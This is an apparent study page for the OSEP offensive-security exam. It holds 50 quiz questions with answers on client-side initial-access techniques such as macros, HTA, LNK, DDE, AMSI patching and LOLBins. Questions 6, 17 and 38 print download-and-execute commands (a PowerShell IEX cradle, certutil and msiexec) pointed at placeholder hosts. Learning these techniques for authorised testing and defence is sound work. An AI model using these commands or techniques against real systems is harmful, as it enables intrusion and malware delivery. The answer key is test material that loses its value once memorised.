I85PREP
⌘ K
OSEP study materials
OSEP study resources

OSEP practice questions

One question at a time. Build your OSEP understanding.

First 50 of 200 questions. Each one lists the choices, the correct answer, and an explanation. The checker at the top of this page saves progress in this browser when it is available.

Continue in the practice tool above to load more questions, 50 at a time.

Question 1Client-Side Attacks and Initial Access

A file downloaded through a browser is tagged with the Mark-of-the-Web. Which NTFS alternate data stream holds that tag?

  1. Zone.Identifier Correct answer.
  2. FileZone.Info
  3. MotW.Stream
  4. Zone.TransferData

Explanation

Browsers, mail clients and other internet-aware applications attach the Zone.Identifier alternate data stream to downloaded files, storing a zone ID such as 3 for the Internet zone. Windows and Office consult this stream when deciding whether to apply Protected View, macro blocking, or attachment execution warnings.

Question 2Client-Side Attacks and Initial Access

Which Windows component natively executes an .hta file?

  1. regsvr32.exe
  2. rundll32.exe
  3. wscript.exe
  4. mshta.exe Correct answer.

Explanation

mshta.exe is the Microsoft HTML Application Host; it renders the HTA using the Internet Explorer engine and runs any embedded VBScript or JScript. Because mshta.exe is a Microsoft-signed binary, abusing it lets a payload execute under a trusted image name.

Question 3Client-Side Attacks and Initial Access

Which VBA procedure name in a Microsoft Word document runs automatically when the document is opened?

  1. Doc_Begin
  2. Document_Open Correct answer.
  3. AutoExec_Main
  4. Word_Startup

Explanation

Word fires the Document_Open event procedure in the ThisDocument module when a document is opened, making it a standard auto-execution trigger for macro payloads. Similar event procedures exist for other Office applications, such as Workbook_Open in Excel.

Question 4Client-Side Attacks and Initial Access

What file extension identifies a Windows shell shortcut that can be used to launch a payload with an attacker-chosen icon and arguments?

  1. .job
  2. .scf
  3. .url
  4. .lnk Correct answer.

Explanation

A .lnk file is a Windows shell link that stores a target path, arguments, working directory and icon location. It can point at a signed LOLBin such as cmd.exe or powershell.exe, which makes it a common phishing attachment.

Question 5Client-Side Attacks and Initial Access

What is the default macro setting in the Microsoft Office Trust Center for a standard installation?

  1. Enable all macros
  2. Disable all macros with notification Correct answer.
  3. Disable all macros without notification
  4. Disable all macros except digitally signed macros

Explanation

The default configuration disables macros but shows a yellow message bar offering to enable content, so a user can still be socially engineered into clicking. Enabling content on a document from the Internet also requires passing through Protected View and Mark-of-the-Web checks.

Question 6Client-Side Attacks and Initial Access

Which PowerShell one-liner downloads a remote script and executes it in memory without writing to disk?

  1. Invoke-WebRequest -Uri http://x/a.ps1 -OutFile C:\a.ps1; & C:\a.ps1
  2. Start-BitsTransfer -Source http://x/a.ps1 -Destination C:\a.ps1
  3. IEX (New-Object Net.WebClient).DownloadString('http://x/a.ps1') Correct answer.
  4. Get-Content http://x/a.ps1 | Out-File a.ps1

Explanation

DownloadString retrieves the script text into a string variable and Invoke-Expression (IEX) evaluates it in the current PowerShell session, so no payload file touches disk. This fileless behaviour is what distinguishes an in-memory cradle from download-then-execute variants.

Question 7Client-Side Attacks and Initial Access

In a staged payload architecture, what is the role of the stager?

  1. It clears event logs after execution
  2. It performs process injection on the target host
  3. It obfuscates the payload to evade antivirus
  4. It fetches and runs the final payload Correct answer.

Explanation

A stager is a small first-stage component sized to fit inside a constraint such as a macro or command-line limit; it connects back and retrieves the larger second stage. The full payload is often called the stage, which is why the model is described as staged.

Question 8Client-Side Attacks and Initial Access

Which PowerShell parameter accepts a Base64-encoded script block for execution?

  1. -File
  2. -EncodedCommand Correct answer.
  3. -ExecutionPolicy
  4. -Command

Explanation

-EncodedCommand takes a Base64 string representing UTF-16LE text and executes it, which avoids many quoting problems and hides readable strings from casual inspection. Detection still relies on decoding the command line, since the encoding provides no real confidentiality.

Question 9Client-Side Attacks and Initial Access

In an HTML smuggling attack, where is the final payload assembled?

  1. Inside the email gateway's sandbox
  2. On the attacker's SMTP relay before delivery
  3. Within the DNS response returned to the client
  4. In the victim's browser at load time Correct answer.

Explanation

HTML smuggling uses JavaScript in the attachment or page to build a blob from encoded data and trigger a download locally, so the malicious file never crosses the network in its final form. Gateways that only inspect static attachment content therefore see only benign-looking HTML or JavaScript.

Question 10Client-Side Attacks and Initial Access

A phishing archive contains a .library-ms file referencing a remote WebDAV location. What does the attacker gain from this?

  1. Bypass of the PowerShell execution policy
  2. Mounting of an ISO image without user interaction
  3. Explorer loads and runs a remote file Correct answer.
  4. Forced NTLM authentication to a rogue SMB server

Explanation

Windows Library files can point at a WebDAV share, and Windows Explorer will connect to that share and open the referenced content when the item is interacted with. Because the content is retrieved over WebDAV rather than written to disk by the user, it can sidestep some file-based controls.

Question 11Client-Side Attacks and Initial Access

Which OneNote document feature has been abused to deliver embedded executable content in phishing campaigns?

  1. Embedded file attachments Correct answer.
  2. Shared notebook links
  3. Password-protected sections
  4. Handwritten ink annotations

Explanation

OneNote notebooks can embed arbitrary files as objects, and older versions displayed a click-through prompt that users could be persuaded to accept. Microsoft subsequently added warning dialogs and blocked certain embedded file types to reduce this abuse.

Question 12Client-Side Attacks and Initial Access

A user opens an emailed Word document and it is displayed in Protected View. What does this indicate?

  1. The file was scanned and cleared by Defender
  2. The document opens read-only from a trusted location
  3. It opens in a restricted, low-integrity sandbox Correct answer.
  4. Macros execute inside a sandboxed token

Explanation

Protected View opens untrusted files in a low-integrity sandbox with editing and most active content disabled, so macros and embedded objects cannot run until the user chooses Enable Editing. It is triggered by factors such as Mark-of-the-Web, attachments opened from Outlook, or files in unsafe locations.

Question 13Client-Side Attacks and Initial Access

A shortcut file is crafted so that its icon path points to an attacker-controlled UNC share. What is the primary objective?

  1. Bypass the Mark-of-the-Web on the file
  2. Capture the user's Net-NTLM hash Correct answer.
  3. Disable AMSI for the current session
  4. Escalate privileges to SYSTEM on the host

Explanation

When Explorer renders the icon it authenticates to the remote share, sending a Net-NTLMv2 challenge response to the attacker's listener. The captured hash can then be cracked offline or relayed to another service that accepts NTLM authentication.

Question 14Client-Side Attacks and Initial Access

Which Microsoft Office feature can embed a package that executes a program when the object is activated?

  1. A signed digital signature
  2. An OLE Package object Correct answer.
  3. A comment thread
  4. A tracked change

Explanation

OLE Package objects can contain an embedded file plus a display icon, and activating the object launches its contents. Office has progressively hardened this path with security prompts and blocking of dangerous embedded types, but the packaging mechanism remains a recognised delivery vector.

Question 15Client-Side Attacks and Initial Access

A phishing email delivers a file with the .application extension. Which deployment technology does this file belong to?

  1. MSIX packaging
  2. ClickOnce Correct answer.
  3. App-V streaming
  4. Windows Installer

Explanation

ClickOnce deployment manifests use the .application extension and are handled by dfshim.dll, which can retrieve and run an application from a URL. Because installation is user-scoped and does not require administrative rights, it is attractive for initial access.

Question 16Client-Side Attacks and Initial Access

Within VBA code in a Word macro, which function launches an executable and returns its task ID?

  1. Exec
  2. Run
  3. Shell Correct answer.
  4. Call

Explanation

The VBA Shell function starts a program and returns a Double task identifier that can later be used with AppActivate or passed to API calls. Macros frequently combine it with a hidden window style so the launched process produces no visible console.

Question 17Client-Side Attacks and Initial Access

Which certutil.exe argument set is used to download a remote file to disk?

  1. -store -add -f
  2. -decodehex -dump -f
  3. -verifyctl -silent -f
  4. -urlcache -split -f Correct answer.

Explanation

certutil -urlcache -split -f <url> <path> makes the certificate utility perform an HTTP retrieval and write the result to disk. Because certutil.exe is a Microsoft-signed binary present on default installations, it is a common alternative when PowerShell is restricted.

Question 18Client-Side Attacks and Initial Access

Which statement about the PowerShell execution policy is accurate?

  1. It requires domain administrator rights to change
  2. It only applies to scripts signed by Microsoft
  3. It is a security boundary against malicious scripts
  4. It can be overridden per invocation Correct answer.

Explanation

Execution policy is a safety feature rather than a security control; a user can start PowerShell with -ExecutionPolicy Bypass or pipe script text into the interpreter to evade it. Microsoft documents it explicitly as not intended to prevent script execution by a determined user.

Question 19Client-Side Attacks and Initial Access

Which mechanism enforces alignment between the visible From domain of an email and a domain authenticated by SPF or DKIM?

  1. DMARC Correct answer.
  2. SPF
  3. MTA-STS
  4. DKIM

Explanation

DMARC builds on SPF and DKIM by requiring that at least one authenticated identifier align with the domain in the From header, and it tells receivers what to do on failure. SPF and DKIM alone authenticate envelope or signing domains and do not enforce alignment with the visible sender.

Question 20Client-Side Attacks and Initial Access

Which plain-text file format acts as an Internet shortcut and can be abused to point a victim at a remote executable or UNC path?

  1. .job
  2. .scf
  3. .url Correct answer.
  4. .library-ms

Explanation

A .url file contains an INI-style InternetShortcut section with a URL and optional icon settings, and Windows opens it with the default browser or handler. Attackers abuse it because it is low-profile, does not look like an executable, and can combine a benign icon with a hostile target.

Question 21Client-Side Attacks and Initial Access

A macro payload is being flagged by AMSI before any network traffic occurs. Which of the following is a recognised AMSI bypass approach?

  1. Encoding the macro strings in Base64
  2. Patching AmsiScanBuffer in memory Correct answer.
  3. Renaming the document to .docm
  4. Signing the macro with a self-signed certificate

Explanation

AMSI exposes its scanning function from amsi.dll inside the hosting process, and modifying that function's code or its result breaks scanning for subsequent content in that process. The bypass is per-process and is lost when the process restarts.

Question 22Client-Side Attacks and Initial Access

On affected Windows builds, why did delivering a payload inside a mounted ISO or VHD bypass Mark-of-the-Web?

  1. The mounted volume disables Defender real-time scanning
  2. Mounted images did not propagate the zone identifier Correct answer.
  3. Files inside an ISO are treated as signed content
  4. The ISO format is trusted by SmartScreen by default

Explanation

The zone identifier is an alternate data stream on the outer container file, and the files extracted from a mounted image did not inherit it on older builds. Without the Mark-of-the-Web, Office and Windows skipped Protected View and macro-blocking prompts.

Question 23Client-Side Attacks and Initial Access

An attacker places a malicious DLL beside a legitimate signed application that loads it by name. Why does this often evade detection?

  1. The DLL is placed in System32 to blend in
  2. The DLL carries a valid Authenticode signature
  3. The loading executable is signed and trusted Correct answer.
  4. The process runs with SYSTEM integrity

Explanation

In DLL search order hijacking and sideloading, the trusted signed binary performs the load, so process-level and image-level telemetry shows a reputable executable. The unsigned or self-signed DLL inherits the trust associated with its loader.

Question 24Client-Side Attacks and Initial Access

A malicious macro spawns its payload with the WMI Win32_Process Create method instead of WScript.Shell. What is the main operational benefit?

  1. The process is parented to WmiPrvSE.exe Correct answer.
  2. The command line is hidden from event logs
  3. The payload bypasses AMSI scanning
  4. The process automatically runs as SYSTEM

Explanation

Processes created through WMI are spawned by the WMI provider host, which breaks the direct parent-child relationship between the Office application and the payload. Defenders relying on parent-child heuristics then see a less suspicious lineage.

Question 25Client-Side Attacks and Initial Access

How does a remote template injection attack against a Word document work?

  1. The body text is hidden using white font color
  2. A remote .dotm template with macros is loaded Correct answer.
  3. The macro project is signed with a stolen certificate
  4. The file is renamed from .docm to .docx

Explanation

The document's settings are modified to reference an external template over HTTP or a UNC path, and Word retrieves it when the document opens and loads its macros. The delivered file itself contains no macro code, which helps it pass static inspection.

Question 26Client-Side Attacks and Initial Access

Which Windows component executes a file with the .hta extension?

  1. Cscript.exe
  2. Wscript.exe
  3. Mshta.exe Correct answer.
  4. Rundll32.exe

Explanation

An .hta file is an HTML Application, rendered by the Microsoft HTML Application Host (mshta.exe), which runs VBScript or JScript with the privileges of the logged-on user rather than inside the browser sandbox. Windows associates the .hta extension with this host by default.

Question 27Client-Side Attacks and Initial Access

Which extension identifies an encoded VBScript file that Windows Script Host executes directly?

  1. .wsf
  2. .vbe Correct answer.
  3. .js
  4. .vbs

Explanation

Windows Script Host recognises .vbe (encoded VBScript) and .jse (encoded JScript) files, which hold script text obfuscated with the Microsoft Script Encoder so the source is not readable in plain text. The host decodes and runs them the same way it runs their unencoded counterparts.

Question 28Client-Side Attacks and Initial Access

What does the Zone.Identifier alternate data stream record for a file?

  1. The file's NTFS access control list.
  2. The security zone the file arrived from. Correct answer.
  3. A cached thumbnail used by Explorer.
  4. The file's encryption state under EFS.

Explanation

When a file is downloaded, the writing process stamps it with a Zone.Identifier stream containing a ZoneId and often the referrer URL. That stream is what applications read to apply Mark-of-the-Web handling such as Protected View or SmartScreen checks.

Question 29Client-Side Attacks and Initial Access

In a Word VBA project, which procedure name runs automatically when the document is opened?

  1. AutoClose
  2. DocumentBeforeClose
  3. Document_Open Correct answer.
  4. Workbook_Open

Explanation

Word exposes auto event procedures such as Document_Open and the legacy AutoOpen, both of which fire when the document is opened. The Workbook_Open event belongs to Excel's object model and never fires in a Word document.

Question 30Client-Side Attacks and Initial Access

Which extension identifies a compiled HTML Help file that can execute embedded script when opened?

  1. .hlp
  2. .cab
  3. .inf
  4. .chm Correct answer.

Explanation

Compiled HTML Help files use the .chm extension and are opened by the HTML Help viewer, hh.exe. Because their topics can contain scripting and shortcut directives, a crafted .chm can run code on the workstation when the user opens it.

Question 31Client-Side Attacks and Initial Access

Which Unicode code point is used to reverse the displayed order of characters that follow it in a filename?

  1. U+200B
  2. U+202E Correct answer.
  3. U+00A0
  4. U+FEFF

Explanation

U+202E is the RIGHT-TO-LEFT OVERRIDE formatting character, which forces the renderer to display subsequent characters in reverse order, so a file named for an executable can appear to end in a document extension. The other listed code points are invisible or spacing characters that do not change text direction.

Question 32Client-Side Attacks and Initial Access

Which Excel file type is an add-in implemented as a native DLL rather than as VBA code?

  1. .xll Correct answer.
  2. .xla
  3. .xlsb
  4. .xlam

Explanation

An .xll file is an Excel add-in built as a compiled dynamic library that exports the functions Excel calls during registration. Because it is native code rather than a VBA project, it is handled through the add-in loading path.

Question 33Client-Side Attacks and Initial Access

What does Dynamic Data Exchange (DDE) allow an Office application to do?

  1. Encrypt the document with a password.
  2. Exchange data with another application. Correct answer.
  3. Convert the document to PDF on save.
  4. Sign the document with a digital certificate.

Explanation

DDE is a legacy inter-process communication mechanism that lets an Office document request data from another application and update it automatically. Because a field can reference a program and its arguments, a crafted document can cause a command to run when the field is refreshed.

Question 34Client-Side Attacks and Initial Access

Which Word field code establishes a DDE conversation that is refreshed when the document is opened, a behaviour abused to run commands?

  1. DDEAUTO Correct answer.
  2. INCLUDETEXT
  3. HYPERLINK
  4. MERGEFIELD

Explanation

The DDEAUTO field creates a DDE link and marks it for automatic update, so Office re-establishes the conversation on open and passes the referenced application its arguments. The DDE field exists as well but requires an explicit update to trigger.

Question 35Client-Side Attacks and Initial Access

Where are Excel 4.0 (XLM) macros stored inside a workbook?

  1. In a compiled VBA project stream.
  2. In cells of a macro sheet. Correct answer.
  3. In an embedded OLE package object.
  4. In the workbook's custom XML parts.

Explanation

XLM macros predate VBA and are recorded as formulas in the cells of a dedicated macro sheet, with the sheet's name bound to an auto macro such as Auto_Open. Because the logic lives in cell formulas rather than a VBA project, analysis that only inspects VBA modules will miss it.

Question 36Client-Side Attacks and Initial Access

Which Office configuration causes macros to run without the usual security prompt for documents placed in a designated folder?

  1. Protected View
  2. Trusted Location Correct answer.
  3. File Block settings
  4. Controlled Folder Access

Explanation

A folder added to the Trusted Locations list is exempt from the macro security prompt, so any document opened from it runs its macros without user approval. An attacker with write access to such a folder therefore gains code execution without social engineering.

Question 37Client-Side Attacks and Initial Access

What does VBA stomping do to a malicious document?

  1. It encrypts the entire VBA project with a randomly generated password.
  2. It keeps the compiled p-code but replaces the VBA source. Correct answer.
  3. It hides the macro inside an embedded OLE object.
  4. It converts the macro into an Excel 4.0 formula.

Explanation

VBA stomping overwrites the stored VBA source with harmless text while leaving the compiled p-code that Office actually executes on the matching version. Tools that read only the source modules see benign code, and the document may run nothing at all on a version mismatch.

Question 38Client-Side Attacks and Initial Access

Which command silently installs an MSI package hosted on a remote web server?

  1. msiexec /p http://host/payload.msi /qb
  2. msiexec /q /i http://host/payload.msi Correct answer.
  3. msiexec /a http://host/payload.msi /quiet
  4. msiexec /x http://host/payload.msi /qn

Explanation

The /i switch installs or configures a package, and /q suppresses the user interface so the installation runs quietly. Msiexec accepts a URL as the package path, which lets the installer retrieve the file directly from a web server.

Question 39Client-Side Attacks and Initial Access

In the squiblydoo technique, which DLL does regsvr32 load to interpret a remote scriptlet?

  1. vbscript.dll
  2. mshtml.dll
  3. scrobj.dll Correct answer.
  4. jscript.dll

Explanation

Regsvr32 invoked with /i:URL scrobj.dll treats the URL as a scriptlet and hands it to the Scriptlet Object Runtime, which parses the XML and executes the embedded script. Because regsvr32 is a signed Microsoft binary, the technique frequently evades application control rules.

Question 40Client-Side Attacks and Initial Access

A user runs mshta.exe with a URL as its argument. What does the host do with that URL?

  1. It saves the file to disk first, then runs it.
  2. It fetches and runs the remote HTA. Correct answer.
  3. It refuses URLs outside the Local Intranet zone.
  4. It opens the URL in the default browser tab.

Explanation

Mshta.exe treats the argument as the location of an HTML Application, retrieves it over HTTP or SMB, and renders it in the mshta process with the user's token. The content is never saved to a user-visible file, which is why the technique is popular for staging.

Question 41Client-Side Attacks and Initial Access

Where in a .lnk shortcut file does an attacker place extra switches passed to the target program?

  1. In the icon location string.
  2. In the working directory field.
  3. In the arguments field. Correct answer.
  4. In the volume serial number.

Explanation

A shell link stores the target path separately from a dedicated command-line arguments field, and the arguments string is appended when the target is launched. That split lets the shortcut keep a benign-looking target such as a signed system binary while supplying malicious switches.

Question 42Client-Side Attacks and Initial Access

What is the purpose of the <job> element inside a Windows Script File (.wsf)?

  1. It declares the COM object to instantiate.
  2. It schedules the script as a task.
  3. It sets the script's digital signature.
  4. It defines a runnable unit of script blocks. Correct answer.

Explanation

A .wsf file is XML that can hold one or more jobs, each wrapping one or more <script> blocks that may use different languages. Windows Script Host executes the first job by default unless a specific job is requested with the //Job option.

Question 43Client-Side Attacks and Initial Access

Why does a filename such as invoice.pdf.exe frequently succeed as a phishing attachment?

  1. The shell refuses paths above 260 characters.
  2. Known extensions are hidden by default. Correct answer.
  3. Outlook renames attachments on delivery.
  4. NTFS streams truncate long file names.

Explanation

Windows Explorer's default setting hides extensions for file types it recognises, so the file is displayed as invoice.pdf and the trailing executable extension is invisible. Users therefore believe they are opening a document when they launch the file.

Question 44Client-Side Attacks and Initial Access

Which VBA technique hides suspicious strings from static analysis of a macro?

  1. Compiling the project to an ACCDE file.
  2. Building strings with Chr() and StrReverse(). Correct answer.
  3. Adding Option Explicit to the module.
  4. Declaring variables with Dim instead of Variant.

Explanation

Assembling a command from character codes or reversing literal strings at run time means the malicious text never appears intact in the stored source. Analysts reading the module see only individual characters or reversed fragments rather than a recognisable URL or executable name.

Question 45Client-Side Attacks and Initial Access

Which WScript.Shell method returns an object that exposes a spawned process's standard output?

  1. Run
  2. Popup
  3. Exec Correct answer.
  4. ShellExecute

Explanation

The Exec method starts a child process and returns a WshScriptExec object whose StdOut and StdErr streams can be read by the script. Run only returns the process exit code and cannot capture output.

Question 46Client-Side Attacks and Initial Access

Which storage format underlies a compiled HTML Help (.chm) container?

  1. InfoTech Storage (ITS) Correct answer.
  2. ZIP archive with an XML manifest
  3. CAB with a PE stub
  4. OLE Compound File

Explanation

A .chm is an InfoTech Storage file, a container format with its own directory of streams that the HTML Help viewer parses. Because it is a real container, topic files, images and scripting can all be embedded and referenced internally.

Question 47Client-Side Attacks and Initial Access

Why can an XLL add-in run its code without the macro security prompt that blocks VBA?

  1. It is signed with a self-signed certificate by default.
  2. It is automatically registered in a trusted location.
  3. It executes inside Excel at low integrity level.
  4. It is loaded as a DLL through the add-in mechanism. Correct answer.

Explanation

An XLL is a native library that Excel loads through its add-in registration path, so the VBA macro security settings do not govern whether its code runs. That separation is why XLL delivery is treated as distinct from a macro-enabled workbook.

Question 48Client-Side Attacks and Initial Access

Within an MSI package, which mechanism allows arbitrary code to run during installation?

  1. The Summary Information stream
  2. The Property table's ARP entries
  3. A custom action Correct answer.
  4. The File table's sequence numbers

Explanation

Custom actions are the part of the Windows Installer sequence designed to run code, which may be a DLL, an executable or a script executed by the installer service. A crafted package can therefore execute a payload with the installer's privileges as the installation proceeds.

Question 49Client-Side Attacks and Initial Access

A malicious .sct scriptlet executed through scrobj.dll places its executable code inside which element?

  1. <script> Correct answer.
  2. <registration>
  3. <public>
  4. <implements>

Explanation

The scriptlet XML schema nests a <scriptlet> element that contains <registration>, one or more <implements> or <public> blocks, and a <script> block holding the actual code. The Scriptlet Object Runtime parses the document and executes whatever appears in that script block.

Question 50Client-Side Attacks and Initial Access

Under AppLocker's default executable rules, which location is permitted to run binaries?

  1. %ProgramFiles% and %Windir% Correct answer.
  2. The user's Downloads folder
  3. Any path on a mapped network drive
  4. The user's AppData\Roaming folder

Explanation

The default executable rule set allows everything under %ProgramFiles% and %Windir%, plus the Administrators group in effect, while other paths fall outside the allow list. Attackers consequently look for writable subdirectories inside those two trees or pivot to binaries the policy does not cover.